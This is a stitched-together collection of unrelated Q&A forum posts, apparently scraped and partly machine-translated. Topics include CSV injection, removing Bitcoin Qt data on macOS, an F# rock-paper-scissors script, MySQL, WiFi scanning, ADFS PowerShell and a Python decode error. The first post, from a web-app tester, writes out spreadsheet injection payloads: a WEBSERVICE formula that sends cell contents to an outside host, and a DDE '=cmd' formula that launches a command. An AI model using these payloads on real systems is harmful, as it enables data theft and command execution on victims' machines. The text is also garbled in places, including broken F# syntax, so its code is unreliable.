windows – Does the CSV injection "= cmd" still exist in 2020?

I am currently testing a web application on which a user can generate a CSV.

I managed to CSV injection data with a payload such as =WEBSERVICE(CONCAT("http://example.com/", CONCAT(A1:A50)

I'm now trying to create a "more dangerous" payload, and I see many references online that use the following:

=cmd|' /C calc'!A0

However, I can't find a way to have such a payload trigger. I always get one #REF! Error. Is such an attack still possible in 2020? Or has Microsoft implemented a mitigation for these attacks?

Excel Version: Excel for Office 365 version 1902

Deleting Bitcoin Qt Mac: The system folder is enlarged, although "Application Support / Bitcoin /" and the app have been deleted

I downloaded Bitcoin Qt and the entire blockchain and I want to delete it now.

I followed instructions from various search results that all instructed to delete the app and delete all data (with the "data", the blockchain, taking up so much space) ~/Library/Preferences/. ~/Library/Application Support/ and ~/Library/Caches/, This was the most comprehensive guide: https://uninstallmacapp.com/bitcoin-0-9-removal.html.

in the ~/Library/Preferences/ & ~/Library/Caches/I couldn't find any related data. in the ~/Library/Application Support/there was a "Bitcoin" folder (which, according to the right click, was about 7 GB in size -> "Get Info"), which I moved to the trash (was then emptied).

I am sure that when I installed Bitcoin Qt I only selected standard options – no non-standard directories were selected.

Before Bitcoin Qt, "System" under "Storage Management" took up about 30-50 GB. Now it takes up 155 GB. As I understand it, "Library" is basically my system directory. The "Library" directory shows a total size of 60 GB via "get info". However, "Storage Management" indicates that the system is 155 GB. I'm not sure how that makes sense. I have activated that all hidden files are shown, so I am also sure that I have not overlooked something too obvious.

Restarting my Mac doesn't help either.

Do you have any idea where Bitcoin Qt's blockchain could be so I can delete it and free up space?

I am using a MacBook Pro in early 2015, macOS High Sierra, version 10.13.6

functional programming – "Rock, Paper, Scissors +" in F #

During a discussion in a development chat, one user suggested to another (originally in the context of C #)

UserA: Challenge: Build an implementation of RPS and show how it can be expanded with an unlockable option with a minimum of fuss.

UserA: Bonus: Do it so that the game can be modified to change only data (constants, serialized fields, whatever).

UserB: How would you unlock the bomb?

UserA: Basically "somewhere else" as you want. Could be an external property, could be an interface or a serialized field or a parameter or whatever.

and since I am interested in learning F #, I decided to start the exercise. At the same time, I tried to clean up the code for I / O processing so that I might be able to swap a game "player for computer" for "player for player" or even "computer for computer". I published the script in GitHub, but for the sake of simplicity, I also inserted it below:

open System

type MatchResult =
    | Won
    | Lost
    | Draw

type Element =
    | Rock
    | Paper
    | Scissors
    | Bomb

type Player = {
    Pick: Element() -> Element;
    AnnounceResult: MatchResult -> unit;
}

let victoriesOf element =
    match element with
    | Rock -> (Scissors)
    | Paper -> (Rock)
    | Scissors -> (Paper; Bomb)
    | Bomb -> (Rock; Paper)

let (!) (result: MatchResult) =
    match result with
    | Won -> Lost
    | Lost -> Won
    | x -> x

let evaluate player rival =
    let winsOver a b =
        victoriesOf a
        |> List.contains b
    match (winsOver player rival, winsOver rival player) with
    | (true, false) -> Won
    | (false, true) -> Lost
    | _ -> Draw

let parse options move =
    let cleanup (input: string) = input.ToLowerInvariant().Trim()
    let compare =
        string
        >> cleanup
        >> (=) move
    Seq.tryFind compare options

let runRound (a: Player) (b: Player) options =
    let aChoice = a.Pick options
    let bChoice = b.Pick options
    let result = evaluate aChoice bChoice
    a.AnnounceResult result
    b.AnnounceResult !result

let player = {
    Pick = fun options ->
        printfn "Choose one of %s:" (String.Join(", ", options))
        match parse options (Console.ReadLine()) with
        | Some(x) -> x
        | None -> failwith "Unknown choice!";
    AnnounceResult = fun result ->
        match result with
        | Won -> printfn "You won!"
        | Lost -> printfn "You lost!"
        | Draw -> printfn "It's a draw!"
}

let computer = 
    let rng = Random()
    {
        Pick = fun options -> 
            let choice = Array.item (rng.Next(options.Length)) options
            printfn "Computer chose %A" choice
            choice;
        AnnounceResult = fun _ -> ();
    }

()
let main argv =
    let validMoves = (|Rock; Paper; Scissors; Bomb|)

    while true do
        runRound player computer validMoves
    0

Since I'm new to ML-like languages, I'm looking for feedback on how I can better use the F # libraries, better model my state and my data, and even make it more meaningless. And if there are more idiomatic ways of writing code, please say so!

mysql – How can you use -e "* select from table from database"?

I want to select and display 1 row from a table with the mysql -e,

I've tried the following, but no luck

mysql -u root -e “select * from table1 from db01 limit 1”

I'm actually trying to copy a single row from hundreds of tables to take an example from it and redirect it to a file. So I want to use the shell and not be in the MySQL console.

I have used show the above way though select it does not work.

Everyone suggests doing select * from table1 but did not mention how the database should be mentioned.
How can I achieve this?

How to stop WiFi "Looking for networks …"

A question was recently asked about disabling WiFi at boot. This is not the same question, but it is related.

I don't want to turn off Wi-Fi, but I want to pause it under "Search for networks …" on my Macbook Pro while I'm connected to a network.

"Looking for networks …" I notice most of the time as a wasted effort. The exception is when you bring a laptop to a new location. I definitely don't want to switch from my chosen network when I'm at home. But according to the GUI, the system is "Looking for networks …" every 2-3 seconds with largely senseless expenditure of resources.

I was looking for data to confirm my opinion that this is a waste of resources. I couldn't find anything specifically for MacOs. In fact, I didn't find anything that seemed to explain exactly "Looking for networks …" actually means.

Is data available that document in which and how many resources are used? "Looking for networks …"? Is there any way to stop the system from doing this "Looking for networks …" When WiFi is enabled and connected to a working AP?


I do not think so "Looking for networks …" is a "channel scan" as discussed here and here, but I'm not sure.

Google Contacts always shows "Retrieve contacts. This may take a while …".

I finished setting up my new Pixel 2 a few days ago, but Google Contacts always shows:

establish contacts

This could take a while…

Contacts syncing takes a while

(Full size picture)

It seems that all of my contacts were downloaded correctly from my Google contacts in the cloud.

I just want this sync message to go away.

I can't figure out how to make it go away.

I have performed several searches on the Internet without results.

I tried to turn synchronization on and off. I tried to restart the phone.

saml – Safe valid parameter set, says Powershell: "Parameter set cannot be resolved …"

I'm trying to run a powershell cmdlet that only accepts one of three specific parameters. I am sure that I know these parameters and enter them correctly. I run Powershell as an administrator and I am convinced that both the associated Powershell module is loaded and the cmdlet that I am trying to use is valid and loaded by this module.

The cmdlet is Set-ADFSRelyingPartyTrust -SamlResponseSignature and the valid parameters are MessageOnly AssertionOnly and MessageAndAssertion as provided by: https://docs.microsoft.com/en-us/powershell/module/adfs/set-adfsrelyingpartytrust?view=winserver2012r2-ps

The output I get is that no matter which of the three I try, I get the error:

Set-AdfsRelyingPartyTrust : Parameter set cannot be resolved using the specified named parameters.
At line:1 char:1
+ Set-AdfsRelyingPartyTrust -SamlResponseSignature MessageAndAssertion
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) (Set-AdfsRelyingPartyTrust), ParameterBindingException
+ FullyQualifiedErrorId : AmbiguousParameterSet,Microsoft.IdentityServer.Management.Commands.SetRelyingPartyTrustCommamd

It is frustrating when I run the cmdlet with a known bad parameter with a -Whatif:

Set-AdfsRelyingPartyTrust : Cannot validate argument on parameter 'SamlResponseSignature'. The argument "False" does not belong to the set "AssertionOnly,MessageAndAssertion,MessageOnly" specified by the ValidateSet attribute. Supply an argument that is in the set and then try the command again.

Even if I copy and paste a value from the specified sentence, I get the same error. What the hell am i doing wrong?

I apologize if this has already been answered. Each search result that I displayed only dealt with what to do if this error appears as part of a larger script or the poster is not sure which parameter set is valid. I couldn't find a discussion of this error when the cmdlet runs on its own and the parameter set is known.

python – The txt file "readlines ()" cannot be opened

When i use

with open('books_txt/Horror/7894.txt', "r") as fout:
    text = fout.readlines()

Error occurs:

---------------------------------------------------------------------------
UnicodeDecodeError                        Traceback (most recent call last)
 in 
      1 with open('books_txt/Horror/7894.txt', "r") as fout:
----> 2     text = fout.readlines()

~/anaconda3/lib/python3.7/codecs.py in decode(self, input, final)
    320         # decode input (taking the buffer into account)
    321         data = self.buffer + input
--> 322         (result, consumed) = self._buffer_decode(data, self.errors, final)
    323         # keep undecoded input until the next call
    324         self.buffer = data(consumed:)

UnicodeDecodeError: 'utf-8' codec can't decode byte 0xa9 in position 74: invalid start byte

But I could open the txt file in the vim terminal. How do you open it in a Python file?

To update:
I find "rb" instead of "r" works. What is the mechanism behind it?

magento2.3 – home / xxxxx / public_html / var / view_preprocessed / pub / static / "cannot be used with the directory" / home / xxxxx / public_html / var / view_preprocessed / pub / static / "

I switched from Magento 1.9.2.3 to Magento 2.3.3.
Before that, my products did not open in the admin area and in the frontend. There were some duplicate entries for the product ID. Therefore I removed the duplicate entries in the database tables.
Since then, the products on the frontend have started to open, but an error of 500 is displayed on the admin panel. Upon further review of the logs, I found this in the exception.log file.

(2020-01-11 09:04:06) main.CRITICAL: path
"/ home / xxxxx / public_html / var / view_preprocessed / pub / static /" cannot be
used with directory
"/ home / xxxxx / public_html / var / view_preprocessed / pub / static /"
{"exception": "(object)
(Magento Framework Exception ValidatorException (Code: 0): path
"/ home / xxxxxxxxxx / public_html / var / view_preprocessed / pub / static /"
cannot be used with directory
"/ home / xxxxxxxx / public_html / var / view_preprocessed / pub / static /" at
/home/xxxxxx/public_html/vendor/magento/framework/Filesystem/Directory/PathValidator.php:63) "}
()

I also deleted the var_preprocessed folder and ran the static delivery many times and cleared the cache, but the problem could not be resolved.

What can it be and how should I fix it?

Please help ..
Thank you in advance.